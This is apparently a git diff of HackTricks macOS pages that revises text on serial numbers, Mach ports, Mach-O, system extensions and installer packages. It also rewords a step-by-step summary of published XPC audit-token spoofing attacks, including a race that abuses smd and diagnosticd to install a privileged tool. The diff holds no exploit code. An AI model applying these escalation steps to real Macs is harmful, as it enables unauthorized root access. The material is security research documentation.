- **SG/E**: Singapore.
|
||||
- **MB**: Malaysia.
|
||||
- **PT/CY**: Korea.
|
||||
- **EE/QT/UV**: Taiwan.
|
||||
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
|
||||
- **C0, C3, C7**: Specific cities in China.
|
||||
- **RM**: Refurbished devices.
|
||||
|
||||
### 1 - Week of manufacturing
|
||||
### **Year of Manufacturing (4th Character)**
|
||||
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
|
||||
|
||||
The fifth character represent the week in which the device was manufactured. There are 28 possible characters in this spot: **the digits 1-9 are used to represent the first through ninth weeks**, and the **characters C through Y**, **excluding** the vowels A, E, I, O, and U, and the letter S, represent the **tenth through twenty-seventh weeks**. For devices manufactured in the **second half of the year, add 26** to the number represented by the fifth character of the serial number. For example, a product with a serial number whose fourth and fifth digits are “JH” was manufactured in the 40th week of 2012.
|
||||
### **Week of Manufacturing (5th Character)**
|
||||
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
|
||||
|
||||
### 3 - Uniq Code
|
||||
### **Unique Identifier (Characters 6 to 8)**
|
||||
These three digits ensure each device, even of the same model and batch, has a distinct serial number.
|
||||
|
||||
The next three digits are an identifier code which **serves to differentiate each Apple device of the same model** which is manufactured in the same location and during the same week of the same year, ensuring that each device has a different serial number.
|
||||
|
||||
### 4 - Serial number
|
||||
|
||||
The last four digits of the serial number represent the **product’s model**.
|
||||
### **Model Number (Last 4 Characters)**
|
||||
These digits identify the specific model of the device.
|
||||
|
||||
### Reference
|
||||
|
||||
{% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %}
|
||||
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -45,7 +45,7 @@ Moreover, **Mach and BSD each maintain different security models**: **Mach's** s
|
|||
|
||||
### I/O Kit - Drivers
|
||||
|
||||
I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example.
|
||||
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example.
|
||||
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
|
||||
|
||||
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
|
||||
|
||||
|
@ -252,7 +252,7 @@ If you remember, to **call** an **exported** function from user space we don't n
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -28,7 +28,7 @@ A process can also send a port name with some rights **to a different task** and
|
|||
|
||||
### Port Rights
|
||||
|
||||
Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are:
|
||||
Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe).
|
||||
* A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t.
|
||||
|
@ -69,7 +69,9 @@ However, this process only applies to predefined system tasks. Non-system tasks
|
|||
|
||||
### A Mach Message
|
||||
|
||||
Mach messages are sent or received using the **`mach_msg` function** (which is essentially a syscall). When sending, the first argument for this call must be the **message**, which has to start with a **`mach_msg_header_t`** followed by the actual payload:
|
||||
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows:
|
||||
|
||||
```c
|
||||
typedef struct {
|
||||
|
@ -82,7 +84,7 @@ typedef struct {
|
|||
} mach_msg_header_t;
|
||||
```
|
||||
|
||||
The process that can **receive** messages on a mach port is said to hold the _**receive right**_, while the **senders** hold a _**send**_ or a _**send-once**_** right**. Send-once, as the name implies, can only be used to send a single message and then is invalidated.
|
||||
Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid.
|
||||
|
||||
In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -56,7 +56,7 @@ If **`kextd`** is not available, **`kextutil`** can perform the same checks.
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -24,7 +24,7 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,7 +18,7 @@ Other ways to support HackTricks:
|
|||
|
||||
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3) (1) (1).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
|
||||
|
||||
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
|
||||
|
||||
|
@ -58,7 +58,7 @@ The events that the Endpoint Security framework can monitor are categorized into
|
|||
|
||||
### Endpoint Security Framework Architecture
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (8).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
|
||||
|
||||
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Other ways to support HackTricks:
|
|||
|
||||
## Apple Propietary File System (APFS)
|
||||
|
||||
APFS, or Apple File System, is a modern file system developed by Apple Inc. that was designed to replace the older Hierarchical File System Plus (HFS+) with an emphasis on **improved performance, security, and efficiency**.
|
||||
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
|
||||
|
||||
Some notable features of APFS include:
|
||||
|
||||
|
|
|
@ -334,7 +334,7 @@ You need to monitor your mac with a command like **`sudo eslogger fork exec rena
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is a GUI tool with the look and feel Windows users may know from Microsoft Sysinternal’s _Procmon_. It lets you start and stop recording events of all types, filter them by categories (file, process, network, etc) and save the recorded events as json file.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is a GUI tool with the look and feel Windows users may know from Microsoft Sysinternal’s _Procmon_. This tool allows the recording of various event types to be started and stopped, allows for the filtering of these events by categories such as file, process, network, etc., and provides the functionality to save the events recorded in a json format.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
|
@ -530,6 +530,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -50,7 +50,7 @@ lsof -i TCP -sTCP:ESTABLISHED
|
|||
|
||||
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
### Via Browser apps
|
||||
|
||||
|
|
|
@ -14,11 +14,11 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
File Extension & URL scheme app handlers
|
||||
## File Extension & URL scheme app handlers
|
||||
|
||||
The following line can be useful to find the applications that can open files depending on the extension:
|
||||
|
||||
```
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
|
||||
|
|
|
@ -22,7 +22,7 @@ The package file itself is an archive that holds a **hierarchy of files and dire
|
|||
|
||||
### Hierarchy
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
* **Distribution (xml)**: Customizations (title, welcome text…) and script/installation checks
|
||||
* **PackageInfo (xml)**: Info, install requirements, install location, paths to scripts to run
|
||||
|
@ -66,7 +66,7 @@ The hierarchy of a DMG file can be different based on the content. However, for
|
|||
|
||||
If a pre or post installation script is for example executing from **`/var/tmp/Installerutil`**, and attacker could control that script so he escalate privileges whenever it's executed. Or another similar example:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
|
|
|
@ -24,7 +24,7 @@ These binaries follows the **Mach-O structure** which is basically compased of:
|
|||
* Load Commands
|
||||
* Data
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Fat Header
|
||||
|
||||
|
@ -133,10 +133,9 @@ Or using [Mach-O View](https://sourceforge.net/projects/machoview/):
|
|||
|
||||
## **Mach-O Load commands**
|
||||
|
||||
This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\
|
||||
The commands basically instruct the dynamic loader **(dyld) how to load the binary in memory.**
|
||||
The **file's layout in memory** is specified here, detailing the **symbol table's location**, the context of the main thread at execution start, and the required **shared libraries**. Instructions are provided to the dynamic loader **(dyld)** on the binary's loading process into memory.
|
||||
|
||||
Load commands all begin with a **load\_command** structure, defined in the previously mentioned **`loader.h`**:
|
||||
The uses the **load\_command** structure, defined in the mentioned **`loader.h`**:
|
||||
|
||||
```objectivec
|
||||
struct load_command {
|
||||
|
@ -288,13 +287,13 @@ The offsets of any constructors are held in the **\_\_mod\_init\_func** section
|
|||
|
||||
## **Mach-O Data**
|
||||
|
||||
The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type.
|
||||
At the core of the file lies the data region, which is composed of several segments as defined in the load-commands region. **A variety of data sections can be housed within each segment**, with each section **holding code or data** specific to a type.
|
||||
|
||||
{% hint style="success" %}
|
||||
The data is basically the part containing all the **information** that is loaded by the load commands **LC\_SEGMENTS\_64**
|
||||
{% endhint %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
This includes:
|
||||
|
||||
|
|
|
@ -14,6 +14,9 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**For further information check the original post: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)**. This is a summary:
|
||||
|
||||
|
||||
## Mach Messages Basic Info
|
||||
|
||||
If you don't know what Mach Messages are start checking this page:
|
||||
|
@ -22,7 +25,7 @@ If you don't know what Mach Messages are start checking this page:
|
|||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
For the moment remember that:\
|
||||
For the moment remember that ([definition from here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mach messages are sent over a _mach port_, which is a **single receiver, multiple sender communication** channel built into the mach kernel. **Multiple processes can send messages** to a mach port, but at any point **only a single process can read from it**. Just like file descriptors and sockets, mach ports are allocated and managed by the kernel and processes only see an integer, which they can use to indicate to the kernel which of their mach ports they want to use.
|
||||
|
||||
## XPC Connection
|
||||
|
@ -41,12 +44,12 @@ What is interesting for you to know is that **XPC’s abstraction is a one-to-on
|
|||
* An XPC connection’s audit token is the audit token of **copied from the most recently received message**.
|
||||
* Obtaining the **audit token** of an XPC connection is critical to many **security checks**.
|
||||
|
||||
Although the previous situation sounds promising there are some scenarios where this is not going to cause problems:
|
||||
Although the previous situation sounds promising there are some scenarios where this is not going to cause problems ([from here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* Audit tokens are often used for an authorization check to decide whether to accept a connection. As this happens using a message to the service port, there is **no connection established yet**. More messages on this port will just be handled as additional connection requests. So any **checks before accepting a connection are not vulnerable** (this also means that within `-listener:shouldAcceptNewConnection:` the audit token is safe). We are therefore **looking for XPC connections that verify specific actions**.
|
||||
* XPC event handlers are handled synchronously. This means that the event handler for one message must be completed before calling it for the next one, even on concurrent dispatch queues. So inside an **XPC event handler the audit token can not be overwritten** by other normal (non-reply!) messages.
|
||||
|
||||
This gave us the idea for two different methods this may be possible:
|
||||
Two different methods this might be exploitable:
|
||||
|
||||
1. Variant1:
|
||||
* **Exploit** **connects** to service **A** and service **B**
|
||||
|
@ -66,7 +69,7 @@ This gave us the idea for two different methods this may be possible:
|
|||
|
||||
Scenario:
|
||||
|
||||
* Two mach **services **`A`** and **`B`** that we can both connect to (based on the sandbox profile and the authorization checks before accepting the connection).
|
||||
* Two mach services **`A`** and **`B`** that we can both connect to (based on the sandbox profile and the authorization checks before accepting the connection).
|
||||
* _**A**_ must have an **authorization check** for a specific action that **`B`** can pass (but our app can’t).
|
||||
* For example, if B has some **entitlements** or is running as **root**, it might allow him to ask A to perform a privileged action.
|
||||
* For this authorization check, **`A`** obtains the audit token asynchronously, for example by calling `xpc_connection_get_audit_token` from **`dispatch_async`**.
|
||||
|
@ -81,52 +84,58 @@ Therefore, the service **B** is **`diagnosticd`** because it runs as **root** an
|
|||
|
||||
To perform the attack:
|
||||
|
||||
1. We establish our **connection** to **`smd`** by following the normal XPC protocol.
|
||||
2. Then, we establish a **connection** to **`diagnosticd`**, but instead of generating two new mach ports and sending those, we replace the client port send right with a copy of the **send right we have for the connection to `smd`**.
|
||||
3. What this means is that we can send XPC messages to `diagnosticd`, but any **messages `diagnosticd` sends go to `smd`**.
|
||||
* For `smd`, both our and `diagnosticd`’s messages appear arrive on the same connection.
|
||||
1. Initiate a **connection** to the service named `smd` using the standard XPC protocol.
|
||||
2. Form a secondary **connection** to `diagnosticd`. Contrary to normal procedure, rather than creating and sending two new mach ports, the client port send right is substituted with a duplicate of the **send right** associated with the `smd` connection.
|
||||
3. As a result, XPC messages can be dispatched to `diagnosticd`, but responses from `diagnosticd` are rerouted to `smd`. To `smd`, it appears as though the messages from both the user and `diagnosticd` are originating from the same connection.
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
![Image depicting the exploit process](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
|
||||
4. We ask **`diagnosticd`** to **start monitoring** our (or any active) process and we **spam routine 1004 messages to `smd`** (to install a privileged tool).
|
||||
5. This creates a race condition that needs to hit a very specific window in `handle_bless`. We need the call to `xpc_connection_get_pid` to return the PID of our own process, as the privileged helper tool is in our app bundle. However, the call to `xpc_connection_get_audit_token` inside the `connection_is_authorized` function must use the audit token of `diganosticd`.
|
||||
4. The next step involves instructing `diagnosticd` to initiate monitoring of a chosen process (potentially the user's own). Concurrently, a flood of routine 1004 messages is sent to `smd`. The intent here is to install a tool with elevated privileges.
|
||||
5. This action triggers a race condition within the `handle_bless` function. The timing is critical: the `xpc_connection_get_pid` function call must return the PID of the user's process (as the privileged tool resides in the user's app bundle). However, the `xpc_connection_get_audit_token` function, specifically within the `connection_is_authorized` subroutine, must reference the audit token belonging to `diagnosticd`.
|
||||
|
||||
## Variant 2: reply forwarding
|
||||
|
||||
As mentioned before, the handler for events on an XPC connection is never executed multiple times concurrently. However, **XPC reply**** messages are handled differently. Two functions exist for sending a message that expects a reply:
|
||||
In an XPC (Cross-Process Communication) environment, although event handlers don't execute concurrently, the handling of reply messages has a unique behavior. Specifically, two distinct methods exist for sending messages that expect a reply:
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, in which case the XPC message is received and parsed on the specified queue.
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, in which case the XPC message is received and parsed on the current dispatch queue.
|
||||
1. **`xpc_connection_send_message_with_reply`**: Here, the XPC message is received and processed on a designated queue.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Conversely, in this method, the XPC message is received and processed on the current dispatch queue.
|
||||
|
||||
Therefore, **XPC reply packets may be parsed while an XPC event handler is executing**. While `_xpc_connection_set_creds` does use locking, this only prevents partial overwriting of the audit token, it does not lock the entire connection object, making it possible to **replace the audit token in between the parsing** of a packet and the execution of its event handler.
|
||||
This distinction is crucial because it allows for the possibility of **reply packets being parsed concurrently with the execution of an XPC event handler**. Notably, while `_xpc_connection_set_creds` does implement locking to safeguard against the partial overwrite of the audit token, it does not extend this protection to the entire connection object. Consequently, this creates a vulnerability where the audit token can be replaced during the interval between the parsing of a packet and the execution of its event handler.
|
||||
|
||||
For this scenario we would need:
|
||||
To exploit this vulnerability, the following setup is required:
|
||||
|
||||
* As before, two mach services **`A`** and **`B`** that we can both connect to.
|
||||
* Again, **`A`** must have an authorization check for a specific action that **`B`** can pass (but our app can’t).
|
||||
* **`A`** sends us a message that expects a reply.
|
||||
* We can send a message to **`B`** that it will reply to.
|
||||
- Two mach services, referred to as **`A`** and **`B`**, both of which can establish a connection.
|
||||
- Service **`A`** should include an authorization check for a specific action that only **`B`** can perform (the user's application cannot).
|
||||
- Service **`A`** should send a message that anticipates a reply.
|
||||
- The user can send a message to **`B`** that it will respond to.
|
||||
|
||||
We wait for **`A`** to send us a message that expects a reply (1), instead of replying we take the reply port and use it for a message we send to **`B`** (2). Then, we send a message that uses the forbidden action and we hope that it arrives concurrently with the reply from **`B`** (3).
|
||||
The exploitation process involves the following steps:
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
1. Wait for service **`A`** to send a message that expects a reply.
|
||||
2. Instead of replying directly to **`A`**, the reply port is hijacked and used to send a message to service **`B`**.
|
||||
3. Subsequently, a message involving the forbidden action is dispatched, with the expectation that it will be processed concurrently with the reply from **`B`**.
|
||||
|
||||
Below is a visual representation of the described attack scenario:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Discovery Problems
|
||||
|
||||
